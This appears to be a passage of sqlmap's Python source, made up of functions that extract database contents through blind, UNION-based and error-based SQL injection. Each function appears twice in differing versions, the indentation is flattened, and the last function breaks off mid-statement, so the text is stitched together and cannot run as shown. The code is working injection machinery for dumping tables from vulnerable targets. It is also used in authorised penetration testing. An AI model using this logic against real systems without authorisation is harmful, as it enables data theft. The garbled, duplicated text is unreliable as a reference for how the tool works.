def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
"""
Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected
parameter through a bisection algorithm.
"""
initTechnique(kb.technique)
query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
count = None
startLimit = 0
stopLimit = None
outputs = BigArray()
if not unpack:
return _goInference(payload, expression, charsetType, firstChar, lastChar, dump)
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
expressionFieldsList = [expressionFields]
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than one field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are going blind"
logger.info(infoMsg)
# If we have been here from SQL query/shell we have to check if
# the SQL query might return multiple entries and in such case
# forge the SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table
# can return multiple entries
if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)
if limitCond:
test = True
if not stopLimit or stopLimit <= 1:
if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
test = False
if test:
# Count the number of SQL query entries output
countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
countedExpression = expression.replace(expressionFields, countFirstField, 1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
if not stopLimit:
count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar)
if isNumPosStrValue(count):
count = int(count)
if batch or count == 1:
stopLimit = count
else:
message = "the SQL query provided can return "
message += "%d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit"
test = readInput(message, default="a")
if not test or test[0] in ("a", "A"):
stopLimit = count
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
elif test.isdigit() and int(test) > 0 and int(test) <= count:
stopLimit = int(test)
infoMsg = "sqlmap is now going to retrieve the "
infoMsg += "first %d query output entries" % stopLimit
logger.info(infoMsg)
elif test[0] in ("#", "s", "S"):
message = "how many? "
stopLimit = readInput(message, default="10")
if not stopLimit.isdigit():
errMsg = "invalid choice"
logger.error(errMsg)
return None
else:
stopLimit = int(stopLimit)
else:
errMsg = "invalid choice"
logger.error(errMsg)
return None
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
elif (not stopLimit or stopLimit == 0):
return None
try:
try:
for num in xrange(startLimit, stopLimit):
output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
outputs.append(output)
except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg)
except KeyboardInterrupt:
print
warnMsg = "user aborted during dumping phase"
logger.warn(warnMsg)
return outputs
elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None
def unionUse(expression, unpack=True, dump=False):
"""
This function tests for an UNION SQL injection on the target
URL then call its subsidiary function to effectively perform an
UNION SQL injection on the affected URL
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
abortedFlag = False
count = None
origExpr = expression
startLimit = 0
stopLimit = None
value = None
width = getConsoleWidth()
start = time.time()
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
origExpr)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if conf.api else None
if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
kb.rowXmlMode = True
_ = "(%s FOR XML RAW, BINARY BASE64)" % expression
output = _oneShotUnionUse(_, False)
value = parseUnionPage(output)
kb.rowXmlMode = False
if expressionFieldsList and len(
expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
debugMsg = "stripping ORDER BY clause from statement because "
debugMsg += "it does not play well with UNION query SQL injection"
singleTimeDebugMessage(debugMsg)
# We have to check if the SQL query might return multiple entries
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if value is None and (
kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where
== PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or
(dump and (conf.limitStart or conf.limitStop)) or "LIMIT "
in expression.upper()) and " FROM " in expression.upper() and (
(Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or
(Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE
and not expression.upper().endswith(
FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))
) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(
expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(
expressionFields,
queries[Backend.getIdentifiedDbms()].count.query %
('*' if len(expressionFieldsList) > 1 else expressionFields),
1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
output = _oneShotUnionUse(countedExpression, unpack)
count = unArrayizeValue(parseUnionPage(output))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "used SQL query returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and (not isinstance(count, basestring)
or not count.isdigit()):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
if isNumPosStrValue(count) and int(count) > 1:
threadData = getCurrentThreadData()
try:
threadData.shared.limits = iter(
xrange(startLimit, stopLimit))
except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (
startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg)
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.counter = 0
threadData.shared.lastFlushed = startLimit - 1
threadData.shared.showEta = conf.eta and (stopLimit -
startLimit) > 1
if threadData.shared.showEta:
threadData.shared.progress = ProgressBar(
maxValue=(stopLimit - startLimit))
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
valueStart = time.time()
threadData.shared.counter += 1
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL,
DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(
num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack,
True)
if not kb.threadContinue:
break
if output:
with kb.locks.value:
if all(_ in output
for _ in (kb.chars.start,
kb.chars.stop)):
items = parseUnionPage(output)
if threadData.shared.showEta:
threadData.shared.progress.progress(
threadData.shared.counter)
if isListLike(items):
# in case that we requested N columns and we get M!=N then we have to filter a bit
if len(items) > 1 and len(
expressionFieldsList) > 1:
items = [
item for item in items
if isListLike(item)
and len(item) == len(
expressionFieldsList)
]
items = [
_ for _ in flattenValue(items)
]
if len(items) > len(
expressionFieldsList):
filtered = OrderedDict()
for item in items:
key = re.sub(
r"[^A-Za-z0-9]", "",
item).lower()
if key not in filtered or re.search(
r"[^A-Za-z0-9]",
item):
filtered[key] = item
items = filtered.values()
items = [items]
index = None
for index in xrange(1 + len(
threadData.shared.buffered)):
if index < len(
threadData.shared.buffered
) and threadData.shared.buffered[
index][0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, items))
else:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(
threadData.shared.counter)
for index in xrange(1 + len(
threadData.shared.buffered)):
if index < len(
threadData.shared.buffered
) and threadData.shared.buffered[
index][0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, None))
items = output.replace(
kb.chars.start, "").replace(
kb.chars.stop,
"").split(kb.chars.delimiter)
while threadData.shared.buffered and (
threadData.shared.lastFlushed + 1
>= threadData.shared.buffered[0][0]
or
len(threadData.shared.buffered) >
MAX_BUFFERED_PARTIAL_UNION_LENGTH):
threadData.shared.lastFlushed, _ = threadData.shared.buffered[
0]
if not isNoneValue(_):
threadData.shared.value.extend(
arrayizeValue(_))
del threadData.shared.buffered[0]
if conf.verbose == 1 and not (
threadData.resumed
and kb.suppressResumeInfo
) and not threadData.shared.showEta:
_ = ','.join(
"\"%s\"" % _ for _ in
flattenValue(arrayizeValue(
items))) if not isinstance(
items, basestring) else items
status = "[%s] [INFO] %s: %s" % (
time.strftime("%X"), "resumed"
if threadData.resumed else "retrieved",
_ if kb.safeCharEncode else
safecharencode(_))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\n" % status)
runThreads(numThreads, unionThread)
if conf.verbose == 1:
clearConsoleLine(True)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
for _ in sorted(threadData.shared.buffered):
if not isNoneValue(_[1]):
threadData.shared.value.extend(arrayizeValue(_[1]))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
output = _oneShotUnionUse(expression, unpack)
value = parseUnionPage(output)
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (
kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
logger.debug(debugMsg)
return value
def _goInferenceProxy(expression,
fromUser=False,
batch=False,
unpack=True,
charsetType=None,
firstChar=None,
lastChar=None,
dump=False):
"""
Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected
parameter through a bisection algorithm.
"""
initTechnique(getTechnique())
query = agent.prefixQuery(getTechniqueData().vector)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
count = None
startLimit = 0
stopLimit = None
outputs = BigArray()
if not unpack:
return _goInference(payload, expression, charsetType, firstChar,
lastChar, dump)
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
expression)
rdbRegExp = re.search(r"RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
expressionFieldsList = [expressionFields]
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than one field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are going blind"
logger.info(infoMsg)
# If we have been here from SQL query/shell we have to check if
# the SQL query might return multiple entries and in such case
# forge the SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table
# can return multiple entries
if fromUser and " FROM " in expression.upper() and (
(Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or
(Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE
and not expression.upper().endswith(
FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))
) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(
expression)
if limitCond:
test = True
if not stopLimit or stopLimit <= 1:
if Backend.getIdentifiedDbms(
) in FROM_DUMMY_TABLE and expression.upper().endswith(
FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
test = False
if test:
# Count the number of SQL query entries output
countFirstField = queries[Backend.getIdentifiedDbms(
)].count.query % expressionFieldsList[0]
countedExpression = expression.replace(expressionFields,
countFirstField, 1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
if not stopLimit:
count = _goInference(payload,
countedExpression,
charsetType=CHARSET_TYPE.DIGITS,
firstChar=firstChar,
lastChar=lastChar)
if isNumPosStrValue(count):
count = int(count)
if batch or count == 1:
stopLimit = count
else:
message = "the SQL query provided can return "
message += "%d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit"
choice = readInput(message, default='A').upper()
if choice == 'A':
stopLimit = count
elif choice == 'Q':
raise SqlmapUserQuitException
elif isDigit(choice) and int(choice) > 0 and int(
choice) <= count:
stopLimit = int(choice)
infoMsg = "sqlmap is now going to retrieve the "
infoMsg += "first %d query output entries" % stopLimit
logger.info(infoMsg)
elif choice in ('#', 'S'):
message = "how many? "
stopLimit = readInput(message, default="10")
if not isDigit(stopLimit):
errMsg = "invalid choice"
logger.error(errMsg)
return None
else:
stopLimit = int(stopLimit)
else:
errMsg = "invalid choice"
logger.error(errMsg)
return None
elif count and not isDigit(count):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
elif (not stopLimit or stopLimit == 0):
return None
try:
try:
for num in xrange(startLimit, stopLimit):
output = _goInferenceFields(
expression,
expressionFields,
expressionFieldsList,
payload,
num=num,
charsetType=charsetType,
firstChar=firstChar,
lastChar=lastChar,
dump=dump)
outputs.append(output)
except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (
startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg)
except KeyboardInterrupt:
print()
warnMsg = "user aborted during dumping phase"
logger.warn(warnMsg)
return outputs
elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper(
).startswith("SELECT ") and " FROM " not in expression.upper():
expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
outputs = _goInferenceFields(expression,
expressionFields,
expressionFieldsList,
payload,
charsetType=charsetType,
firstChar=firstChar,
lastChar=lastChar,
dump=dump)
return ", ".join(
output or ""
for output in outputs) if not isNoneValue(outputs) else None
def unionUse(expression, unpack=True, dump=False):
"""
This function tests for an union SQL injection on the target
URL then call its subsidiary function to effectively perform an
union SQL injection on the affected URL
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
abortedFlag = False
count = None
origExpr = expression
startLimit = 0
stopLimit = None
value = None
width = getConsoleWidth()
start = time.time()
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it
expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I)
debugMsg = "stripping ORDER BY clause from statement because "
debugMsg += "it does not play well with UNION query SQL injection"
singleTimeDebugMessage(debugMsg)
# We have to check if the SQL query might return multiple entries
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
(dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
output = _oneShotUnionUse(countedExpression, unpack)
count = unArrayizeValue(parseUnionPage(output))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and (not isinstance(count, basestring) or not count.isdigit()):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
threadData = getCurrentThreadData()
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.lastFlushed = startLimit - 1
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))):
items = parseUnionPage(output)
with kb.locks.value:
# in case that we requested N columns and we get M!=N then we have to filter a bit
if isListLike(items) and len(items) > 1 and len(expressionFieldsList) > 1:
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
index = None
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, items))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
threadData.shared.lastFlushed += 1
_ = threadData.shared.buffered[0][1]
if not isNoneValue(_):
threadData.shared.value.extend(arrayizeValue(_))
del threadData.shared.buffered[0]
else:
with kb.locks.value:
index = None
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, None))
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo):
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items)))))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\r\n" % status, True)
runThreads(numThreads, unionThread)
if conf.verbose == 1:
clearConsoleLine(True)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
for _ in sorted(threadData.shared.buffered):
if not isNoneValue(_[1]):
threadData.shared.value.extend(arrayizeValue(_[1]))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
output = _oneShotUnionUse(expression, unpack)
value = parseUnionPage(output)
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
logger.debug(debugMsg)
return value
def errorUse(expression, dump=False):
"""
Retrieve the output of a SQL query taking advantage of the error-based
SQL injection vulnerability on the affected parameter.
"""
initTechnique(kb.technique)
abortedFlag = False
count = None
emptyFields = []
start = time.time()
startLimit = 0
stopLimit = None
value = None
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
if " ORDER BY " in expression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
message = "due to huge table size do you want to remove "
message += "ORDER BY clause gaining speed over consistency? [y/N] "
_ = readInput(message, default="N")
if _ and _[0] in ("y", "Y"):
expression = expression[:expression.index(" ORDER BY ")]
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData = getCurrentThreadData()
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.counter = 0
threadData.shared.lastFlushed = startLimit - 1
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
if threadData.shared.showEta:
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD):
for field in expressionFieldsList:
if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0':
emptyFields.append(field)
debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable)
debugMsg += "dumped as it appears to be empty"
logger.debug(debugMsg)
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def errorThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
valueStart = time.time()
threadData.shared.counter += 1
num = threadData.shared.limits.next()
except StopIteration:
break
output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta)
if not kb.threadContinue:
break
if output and isListLike(output) and len(output) == 1:
output = output[0]
with kb.locks.value:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, output))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
threadData.shared.lastFlushed += 1
threadData.shared.value.append(threadData.shared.buffered[0][1])
del threadData.shared.buffered[0]
runThreads(numThreads, errorThread)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
value = _errorFields(expression, expressionFields, expressionFieldsList)
if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring):
value = value[0]
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[kb.technique], duration)
logger.debug(debugMsg)
return value
def errorUse(expression, dump=False):
"""
Retrieve the output of a SQL query taking advantage of the error-based
SQL injection vulnerability on the affected parameter.
"""
initTechnique(getTechnique())
abortedFlag = False
count = None
emptyFields = []
start = time.time()
startLimit = 0
stopLimit = None
value = None
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
expression)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if conf.api else None
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if (dump and (conf.limitStart or conf.limitStop)) or (
" FROM " in expression.upper() and
((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or
(Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.
upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and
("(CASE" not in expression.upper() or
("(CASE" in expression.upper() and "WHEN use" in expression))
) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(
expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(
expressionFields,
queries[Backend.getIdentifiedDbms()].count.query %
('*' if len(expressionFieldsList) > 1 else expressionFields),
1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(
countedExpression)
count = unArrayizeValue(
_oneShotErrorUse(countedExpression, countedExpressionFields))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
debugMsg = "used SQL query returns "
debugMsg += "%d %s" % (stopLimit, "entries"
if stopLimit > 1 else "entry")
logger.debug(debugMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
if isNumPosStrValue(count) and int(count) > 1:
if " ORDER BY " in expression and (
stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
message = "due to huge table size do you want to remove "
message += "ORDER BY clause gaining speed over consistency? [y/N] "
if readInput(message, default='N', boolean=True):
expression = expression[:expression.index(" ORDER BY "
)]
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData = getCurrentThreadData()
try:
threadData.shared.limits = iter(
xrange(startLimit, stopLimit))
except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (
startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg)
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.counter = 0
threadData.shared.lastFlushed = startLimit - 1
threadData.shared.showEta = conf.eta and (stopLimit -
startLimit) > 1
if threadData.shared.showEta:
threadData.shared.progress = ProgressBar(
maxValue=(stopLimit - startLimit))
if kb.dumpTable and (len(expressionFieldsList) <
(stopLimit - startLimit) >
CHECK_ZERO_COLUMNS_THRESHOLD):
for field in expressionFieldsList:
if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" %
